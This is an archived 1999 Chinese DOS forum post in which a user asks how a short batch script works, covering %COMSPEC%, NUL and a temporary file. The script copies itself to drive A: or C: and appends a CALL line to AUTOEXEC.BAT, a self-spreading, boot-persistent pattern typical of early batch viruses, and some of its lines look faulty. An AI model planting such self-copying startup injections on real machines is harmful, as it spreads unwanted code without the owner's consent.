精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>○ DOS>>问题解答>>关于批处理>>请问一个批处理的问题。。谢了。。

主题:请问一个批处理的问题。。谢了。。
发信人: ldwolf()
整理人: znw(1999-11-10 12:48:20), 站内信件
@ECHO OFF
IF DRIVE=="A:\" GOTO END123  
IF DRIVE=="C:\" GOTO END123 
IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\(%COMSPEC%的含义是什么??
)  
IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\  

IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123(这句有什么用处??)

COPY A.BAT %DRIVE%>NUL(此处NUL是什么东西??设备名吗??) 

ECHO CALL A。BAT>TMP.DAT(此处为何要建一个TMP。DAT文件??)

COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL(此处是不是要用">>"来重定向??)


DEL TMP.DAT>NUL(为何此处要删除TMP。DAT??删除后如何重定向??)

: END123 
ECHO ON

--
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.191.35]

[关闭][返回]